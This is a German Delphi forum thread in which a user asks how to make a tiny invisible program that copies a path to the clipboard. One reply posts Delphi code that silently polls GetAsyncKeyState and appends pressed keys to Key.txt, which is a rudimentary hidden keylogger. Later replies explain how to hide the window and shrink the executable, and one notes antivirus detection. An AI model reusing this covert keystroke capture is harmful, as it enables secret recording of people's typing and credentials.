Delphi-PRAXiS
Seite 1 von 4  1 23     Letzte »    

Delphi-PRAXiS (https://www.delphipraxis.net/forum.php)
-   GUI-Design mit VCL / FireMonkey / Common Controls (https://www.delphipraxis.net/18-gui-design-mit-vcl-firemonkey-common-controls/)
-   -   Delphi Unsichtbares Programm (https://www.delphipraxis.net/113322-unsichtbares-programm.html)

Guido Eisenbeis 6. Mai 2008 02:18


Unsichtbares Programm
 
Mein Ziel ist ein Mini-Programm, das lediglich einen übergebenen Pfad in die Zwischenablage kopiert ("PathToClipboard). Dabei soll das Programm so klein wie möglich sein (habe eins mit 40 KB von einem anderen Autor gesehen), und selbstverständlich vollkommen unsichtbar laufen.

Version 1)
Mit "Application.ShowMainForm:= false;" habe ich in einer normalen VCL-Anwendung erreicht, dass ein Programm vollkommen unsichtbar läuft. Aber erstens ist es schon standardmäßig 400 KB groß (also 10x so viel) und zweitens weiß ich nicht, wie ich Code ausführen lassen kann, da kein Event mehr greift (ShowMessage wird weder im FormCreate noch im FormShow usw. ausgeführt).

Version 2)
Wenn ich ein Konsolenprogramm erstellen würde, würde dort wahrscheinlich ein Code abgearbeitet werden. Aber selbst wenn ich das Programm gleich danach beenden würde, würde die Konsole dennoch zumindest aufblitzen.

Meine Frage: wie kann ich ein vollkommen unsichtar laufendes Programm realisieren, das lediglich einen Befehl ausführt (CopyToClipboard) und sich dann selbst beendet?

Guido.

Mackhack 6. Mai 2008 03:35

Re: Unsichtbares Programm
 
So hab ich was geschrieben das nur lediglich im TaskManager sichtbar ist:

Delphi-Quellcode:
Program Project1;

Uses
  SysUtils, WINPROCS, Forms;

{$R *.RES}

Procedure XXX;
Var
  I    : Byte;
  X    : SmallInt;
  Datei : TextFile;
Begin
  AssignFile(Datei, 'Key.txt');
  If (Not FileExists('Key.txt')) Then
    ReWrite(Datei)
  Else
    Append(Datei);

  For I := 1 To 255 Do
  Begin
    X := GetAsyncKeyState(I);
    If (X AND $8000 <> 0) Then
      Write(Datei, Char(I));
  End;
  CloseFile(Datei);
End;

Begin
  XXX;
End.

Guido Eisenbeis 6. Mai 2008 03:40

Re: Unsichtbares Programm
 
Welchen Projekt-Typ muss ich denn verwenden? Konsole, VCL, ...?

Guido.

cruiser 6. Mai 2008 05:07

Re: Unsichtbares Programm
 
Konsole und dann die Compiler Direktive auskommentieren/löschen :mrgreen:

toms_ 6. Mai 2008 05:36

Re: Unsichtbares Programm
 
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

christian_r 6. Mai 2008 05:43

Re: Unsichtbares Programm
 
Zitat:

Zitat von toms_
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.

Stelle Dir vor, Du hättest ein Programm, das verwendet aus einer Unit mit 500 Funktionen nur 4 davon. Dann müsstest Du per Hand die Unit optimieren, um 496 Funktionen zu entfernen, damit sie nicht in das compilierte Programm aufgenommen werden. Und das mach dann mal bei größeren Projekten mit 30-40 (oder mehr) Units.

toms_ 6. Mai 2008 05:47

Re: Unsichtbares Programm
 
Unter D6 ist es nicht so. Werden die Units nicht entfernt, ist die EXE-Datei 451 KB, ohne die beiden Units 12KB (Wobei sich dann mein Antivirus meldet...)

toms_ 6. Mai 2008 05:54

Re: Unsichtbares Programm
 
Nachtrag: Selbst bei D2007 ist es so.
Mit Forms: 391 KB, ohne Forms: 24 KB.

Bernhard Geyer 6. Mai 2008 06:06

Re: Unsichtbares Programm
 
Zitat:

Zitat von christian_r
Zitat:

Zitat von toms_
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.

Da diese Units auch weiter Units einbindet und auch in einigen davon Funktionen/Prozeduren/Klassen im Initalisation/Finalisation verwendet werden wird da zwangsweise schon einiges dazugebunden.

Luckie 6. Mai 2008 08:01

Re: Unsichtbares Programm
 
Zitat:

Zitat von christian_r
Zitat:

Zitat von toms_
zustätzlich noch die Units "SysUtils, Forms" entfernen, damit die Exe schön klein wird.

Wenn er keine Proceduren, Nethoden oder Anderes aus den Units verwendet, werden diese nicht in das Programm eincompiliert.

Das stimmt schon, aber viel kann auch im Initialization-Abschnitt passieren und bei der Unit Forms ist das definitiv der Fall.


Alle Zeitangaben in WEZ +1. Es ist jetzt 17:17 Uhr.
Seite 1 von 4  1 23     Letzte »    

Powered by vBulletin® Copyright ©2000 - 2024, Jelsoft Enterprises Ltd.
LinkBacks Enabled by vBSEO © 2011, Crawlability, Inc.
Delphi-PRAXiS (c) 2002 - 2023 by Daniel R. Wolf, 2024 by Thomas Breitkreuz